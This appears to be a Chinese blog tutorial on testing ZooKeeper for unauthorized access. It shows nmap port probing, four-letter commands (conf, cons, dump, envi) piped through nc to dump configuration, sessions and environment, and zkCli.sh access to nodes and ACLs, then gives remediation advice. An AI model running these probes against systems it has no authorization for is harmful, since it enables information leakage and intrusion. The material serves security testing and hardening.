Zookeeper未授权访问测试
前言
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。
zookeeper 未授权访问是指安装部署之后默认情况下不需要任何身份验证,从而导致 zookeeper 被远程利用,导致大量服务级别的信息泄露。
默认使用端口:2181、2182。
探测Zookeeper服务开放
如使用nmap探测某个目标地址是否运行Zookeeper服务,探测2181端口开放。
root@kali:~# nmap -Pn -p xx.xx.xx.xx
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-21 01:56 EDT
Nmap scan report for xx.xx.xx.xx.static.sz.js.chinamobile.com (xx.xx.xx.xx)
Host is up (.016s latency). PORT STATE SERVICE
/tcp open eforward Nmap done: IP address ( host up) scanned in 0.22 seconds
批量探测仅需修改一下对应的目标地址即可。
获取信息
conf命令
输出相关服务配置的详细信息,端口、数据路径、日志路径、session 超时时间,最大连接数等。
root@kali:~# echo conf | nc xx.xx.xx.xx
clientPort=
dataDir=/opt/data/zookeeper/data/version-
dataLogDir=/opt/data/zookeeper/data/version-
tickTime=
maxClientCnxns=
minSessionTimeout=
maxSessionTimeout=
serverId=
cons命令
列出所有连接到当前服务器的客户端/会话的详细信息。
root@kali:~# echo cons | nc xx.xx.xx.xx | more
/10.23.46.40:[](queued=,recved=,sent=,sid=0x1000000e029b16e,lop=PING,est=,to=,lcxid=0x33,lzxid=0x286a720,lresp=,llat=,minlat=,avglat=,maxlat=)
/10.23.46.39:[](queued=,recved=,sent=,sid=0x1000000e029b17c,lop=PING,est=,to=,lcxid=0x33,lzxid=0x286a71c,lresp=,llat=,minlat=,avglat=,maxlat=)
dump命令
输出未处理的会话和临时节点,leader 节点有效。
root@kali:~# echo dump | nc xx.xx.xx.xx | more
SessionTracker dump:
Session Sets ():
expire at Thu Jan :: CST :
expire at Thu Jan :: CST :
expire at Thu Jan :: CST :
0x1000000e01f0013
0x1000000e029fdde
0x1000000e029fe05
expire at Thu Jan :: CST :
0x1000000e02a4235
0x1000000e01f00e9
expire at Thu Jan :: CST :
0x1000000e01f067a
0x1000000e02a423c
0x1000000e01f0008
0x1000000e029fdf4
...
非 leader 节点看不到什么相关信息。
envi命令
输出服务器的详细信息。
root@kali:~# echo envi | nc xx.xx.xx.xx
Environment:
zookeeper.version=3.4.-2d71af4dbe22557fda74f9a9b4309b15a7487f03, built on // : GMT
host.name=c1b69852-ac24-11e8-88d9-a4bf01306d06
java.version=1.7.0_80
java.vendor=Oracle Corporation
java.home=/usr/java/jdk1..0_80/jre
java.class.path=/opt/midware/zookeeper/bin/../build/classes:/opt/midware/zookeeper/bin/../build/lib/*.jar:/opt/midware/zookeeper/bin/../lib/slf4j-log4j12-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/slf4j-api-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/netty-3.10.6.Final.jar:/opt/midware/zookeeper/bin/../lib/log4j-1.2.17.jar:/opt/midware/zookeeper/bin/../lib/jline-0.9.94.jar:/opt/midware/zookeeper/bin/../lib/audience-annotations-0.5.0.jar:/opt/midware/zookeeper/bin/../zookeeper-3.4.13.jar:/opt/midware/zookeeper/bin/../src/java/lib/*.jar:/opt/midware/zookeeper/bin/../conf:
java.library.path=/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.io.tmpdir=/tmp
java.compiler=<NA>
os.name=Linux
os.arch=amd64
os.version=3.10.0-327.36.3.el7.x86_64
user.name=root
user.home=/root
user.dir=/
连接测试
安装工具
如在kali下,可以用如下命令安装zookeeper工具,之后即可使用客户端连接工具zkCli.sh。
# apt-get install zookeeper
...
#root@kali:~# cd /usr/share/zookeeper/bin/
#root@kali:/usr/share/zookeeper/bin# ls
zkCleanup.sh zkCli.sh zkEnv.sh zkServer.sh
连接目标
使用-server参数指定目标即可连接。
root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:
Connecting to xx.xx.xx.xx:
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:(CONNECTING) ] ... 已连接
获取系统相关信息
root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:
Connecting to xx.xx.xx.xx:
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:(CONNECTING) ]
WATCHER:: WatchedEvent state:SyncConnected type:None path:null [zk: xx.xx.xx.xx:(CONNECTED) ] ls /
[service, pms, DsMaster, Resource, monitor_lock, zookeeper]
[zk: xx.xx.xx.xx:(CONNECTED) ] get / cZxid = 0x0
ctime = Wed Dec :: EST
mZxid = 0x0
mtime = Wed Dec :: EST
pZxid = 0x4c0
cversion =
dataVersion =
aclVersion =
ephemeralOwner = 0x0
dataLength =
numChildren =
[zk: xx.xx.xx.xx:(CONNECTED) ] get /service cZxid = 0x2
ctime = Thu Aug :: EDT
mZxid = 0x2
mtime = Thu Aug :: EDT
pZxid = 0x1cb884d
cversion =
dataVersion =
aclVersion =
ephemeralOwner = 0x0
dataLength =
numChildren =
[zk: xx.xx.xx.xx:(CONNECTED) ] getAcl /
'world,'anyone
: cdrwa
修复方案
1、设置防火墙策略限制 IP 访问
2、不要将 zookeeper 暴露在外网
3、设置用户认证和 ACL
参考
zookeeper 未授权访问
http://vic.pub/zookeeper-未授权访问/
Zookeeper未授权访问测试的更多相关文章
- ZooKeeper未授权访问漏洞确认与修复
目录 探测2181 探测四字命令 用安装好zk环境的客户端连接测试 修复 修复步骤一 关闭四字命令 修复步骤二 关闭未授权访问 zookeeper未授权访问测试参考文章: https://www.cn ...
- zookeeper未授权访问渗透测试及修复方法
zookeeper未授权访问危害 服务器信息泄露.集群被破坏 一. 四字命令未授权使用 1.1 测试 工具:netcat ,Linux或Windows都可以测 命令行输入echo envi | nc ...
- Zookeeper未授权访问
l 漏洞名称: zookeeper未授权访问 l 漏洞影响版本: zookeeper l 漏洞细节: ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubb ...
- zookeeper未授权访问漏洞
1.什么是zookeeper? ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,它是集群的管理者,监视着集群中各个节点的状态根据节点提交 ...
- ZooKeeper 未授权访问漏洞
ZooKeeper 安装: Zookeeper的默认开放端口是2181 wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zooke ...
- ZooKeeper通过ACL修复未授权访问漏洞
默认情况下ZooKeeper允许匿名访问,因此在安全漏洞扫描中暴漏未授权访问漏洞. 一.参考资料 <ZooKeeper 笔记(5) ACL(Access Control List)访问控制列表& ...
- zookeeper的未授权访问漏洞解决
zookeeper的基本情况 zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务.zookeeper官网下载软件包,bin目录下有客户端脚本和服务端脚本.另外还有个工具 ...
- 【转+自己研究】新姿势之Docker Remote API未授权访问漏洞分析和利用
0x00 概述 最近提交了一些关于 docker remote api 未授权访问导致代码泄露.获取服务器root权限的漏洞,造成的影响都比较严重,比如 新姿势之获取果壳全站代码和多台机器root权限 ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
随机推荐
- 每天学会一点点(spring-mvc.xml与web.xml配置文件)
1.spring-mvc.xml中拦截器的使用 首先在springMVC.xml配置如下代码: <!-- 拦截器 --> <mvc:interceptors> <bean ...
- Failed to execute goal on project e3-manager: Could not resolve dependencies for project cn.e3mall:e3-manager:pom:0.0.1-SNAPSHOT: Could not find artifact cn.e3mall:e3-parent:jar:0.0.1-SNAPSHOT
新建好工程后一定要记得从底层开始clean和install 在启动新建的工程时到最后一步出现了这个问题: Failed to execute goal on project e3-manager-we ...
- Android开发:为什么我们从来不去感谢开源项目维护者?
今天我想谈一谈,为什么我们很少去感谢开源项目维护者: 一.这样的项目我也可以做啊 “蛤?这项目对我来说也太简单了吧.” “我一周之内就能做一个更好的版本出来.” 确实,很多人都可以在 Hackatho ...
- Docker下kafka学习三部曲之二:本地环境搭建
在上一章< Docker下kafka学习,三部曲之一:极速体验kafka>中我们快速体验了kafka的消息分发和订阅功能,但是对环境搭建的印象仅仅是执行了几个命令和脚本,本章我们通过实战来 ...
- centos开启nginx服务成功,却无法访问。没有开启80端口。centos配置防火墙 开启80端口
Linux配置防火墙 开启80端口 编辑配置文件/etc/sysconfig/iptables [root@weixinht ~]# vim /etc/sysconfig/iptables 1 # F ...
- Hibernate,一对多,多对一
Hibernate环境的配置 hibernate.cfg.xml的配置 <?xml version='1.0' encoding='utf-8'?> <!DOCTYPE hibern ...
- kubernetes部署高可用Harbor
前言 本文Harbor高可用依照Harbor官网部署,主要思路如下,大家可以根据具体情况选择搭建. 部署Postgresql高可用集群.(本文选用Stolon进行管理,请查看文章<kuberne ...
- Python中使用高德API实现经纬度转地名
场景 高德API提供给开发者们一些常用功能的接口,其中有一种叫地理/逆地理编码能实现 地名查询经纬度和经纬度查地名. 实现 高德API平台: https://lbs.amap.com/ 注册并登陆 找 ...
- Hibernate 框架简单解说
- 用vetr.x写一个HTTP接口适配器, 对接各种形式接口
用vetr.x写一个HTTP接口适配器, 对接各种形式接口 项目地址:https://github.com/hjx601496320/transmit 业务说明 在日常开发工作中,我们经常会遇到要和各 ...